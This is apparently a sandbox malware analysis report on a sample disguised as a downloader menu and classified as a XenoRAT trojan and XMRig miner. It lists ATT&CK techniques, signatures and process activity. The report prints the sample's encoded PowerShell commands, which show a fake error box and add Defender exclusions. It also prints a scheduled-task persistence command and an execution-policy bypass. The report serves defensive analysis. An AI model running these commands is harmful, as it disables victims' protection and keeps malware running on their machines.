Malware Analysis Report

2024-08-06 18:37

Sample ID 240517-p8wnhaac78
Target Downlaoder_Menu.exe
SHA256 b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10
Tags
xenorat execution rat trojan xmrig evasion miner upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10

Threat Level: Known bad

The file Downlaoder_Menu.exe was found to be: Known bad.

Malicious Activity Summary

xenorat execution rat trojan xmrig evasion miner upx

xmrig

XenorRat

XMRig Miner payload

Stops running service(s)

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Drops startup file

UPX packed file

Loads dropped DLL

Checks computer location settings

Drops file in System32 directory

Suspicious use of SetThreadContext

Launches sc.exe

Drops file in Windows directory

Command and Scripting Interpreter: PowerShell

Unsigned PE

Enumerates physical storage devices

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Suspicious use of FindShellTrayWindow

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Scheduled Task/Job
T1053
System Services
T1569
Service Execution
T1569.002
Persistence
TA0003
Scheduled Task/Job
T1053
Create or Modify System Process
T1543
Windows Service
T1543.003
Privilege Escalation
TA0004
Scheduled Task/Job
T1053
Create or Modify System Process
T1543
Windows Service
T1543.003
Defense Evasion
TA0005
Impair Defenses
T1562
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Service Stop
T1489
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-17 13:00

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-17 13:00

Reported

2024-05-17 13:03

Platform

win7-20240221-en

Max time kernel

98s

Max time network

142s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"

Signatures

XenorRat

trojan rat xenorat

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe N/A
N/A N/A C:\Users\Admin\cvtres.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2796 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 2796 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 2796 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 2796 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 2796 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 2796 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 2796 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 2796 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 2596 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2596 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2596 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2596 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2976 wrote to memory of 1124 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2976 wrote to memory of 1124 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2976 wrote to memory of 1124 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2976 wrote to memory of 1124 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2764 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2764 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2764 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2764 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 1124 wrote to memory of 2908 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1124 wrote to memory of 2908 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1124 wrote to memory of 2908 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2040 wrote to memory of 1976 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 1976 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 1976 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2040 wrote to memory of 2280 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe

"C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="

C:\Windows\Downloader_Menu_2.1.exe

"C:\Windows\Downloader_Menu_2.1.exe"

C:\Users\Admin\AppData\Roaming\risk.exe

"C:\Users\Admin\AppData\Roaming\risk.exe"

C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe

"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"

C:\Users\Admin\cvtres.exe

C:\Users\Admin\cvtres.exe

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2B93.tmp" /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feec769758,0x7feec769768,0x7feec769778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1620 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:8

